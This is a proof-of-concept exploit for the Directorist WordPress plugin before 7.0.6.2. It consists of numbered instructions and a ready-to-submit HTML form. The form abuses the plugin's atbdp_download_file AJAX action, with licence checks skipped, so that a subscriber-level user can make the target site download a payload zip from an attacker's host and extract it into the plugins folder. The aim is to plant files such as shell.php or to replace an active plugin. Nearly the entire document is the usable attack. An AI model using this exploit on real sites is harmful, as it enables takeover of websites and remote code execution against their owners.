Directorist < 7.0.6.2 remote file upload exploit vulnerability

<?php
/*
POC: Upload files to the plugins folder of any site running directorist < 7.0.6.2
Can be used to upload PHP files or replace a whole active plugin.

1. Register / Login as user (subscriber will do).
2. Paste below HTML into any page on site.
3. Replace [target-site] with the target URL.
4. Repalce [site-with-payload-zip] with the URL hosting your zip file and submit the form.
5. Zip file contents will be extracted in plugins folder https://[target-site].com/wp-content/plugins/shell.php
*/
?>
<form action="https://[target-site].com/wp-admin/admin-ajax.php" method="post">
  <input type="text"  name="action" value="atbdp_download_file"><br>
    <input type="text"  name="download_item[download_link]" value='https://[site-with-payload-zip].com/payload.zip'><br>
    <input type="text"  name="download_item[skip_licencing]" value='true'><br>
    <input type="text"  name="download_item[permalink]" value='true'><br>
    <input type="text"  name="type" value="plugin"><br>
  <input type="submit" value="Submit">
</form>